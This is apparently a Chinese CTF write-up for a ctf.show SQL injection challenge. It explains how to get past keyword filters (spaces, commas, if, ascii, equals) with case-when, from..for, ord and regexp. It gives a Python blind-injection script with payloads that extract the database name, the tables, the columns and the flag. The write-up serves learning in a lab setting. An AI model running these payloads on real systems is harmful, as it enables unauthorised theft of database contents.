WEB AK赛-web2_观星
一看就是sql注入题
尝试了一下发现过滤的东西还挺多的(union,like,=,’,空格,and,if,逗号,ascii,sleep)等
不能用正常的布尔盲注:1^if(ascii(substr('flag',1,1))=104,1,0)
题目过滤了if
看了wp才知道有这种方式:case(A)when(B)then(C)else(D)end
绕过过滤:
过滤了空格可以用()代替
过滤了逗号可以用from..for代替
过滤了and可以用^或or来代替
过滤了ascli可以用 ord代替
过滤了等号和like可以用regexp代替
所以有了payload:id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end
import requests
url = "http://e576e0ce-3634-40b4-a9b9-d97a15b78d37.challenge.ctf.show/index.php?id=1^"
flag = ""
for i in range(1,50): #库名表名字段名以及flag的长度
print("i="+str(i))
for j in range(38,126): # 可打印字符
#payload = "case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆库
#payload = "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆表
#payload = "case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end".format(i,j) # 爆字段
payload = "case(ord(substr((select(group_concat(flag))from(flag))from({})for(1))))when({})then(2)else(3)end".format(i,j) #爆flag
a = url+payload
r = requests.get(a).text #获取响应包信息
if "I asked nothing" in r:
flag+=chr(j)
print(flag)
break
到这里基本解出了,基本上是看大佬的wp
写点自己的想法。
基本上遇到sql题先看什么类型的。
后看过滤了什么。
遇上不同的布尔盲注题目需要自己去看回显的东西,回显东西不同脚本也不同。
同时没有一个脚本是通用的,需要自己去修改学习,但大体上是大差不差的。
......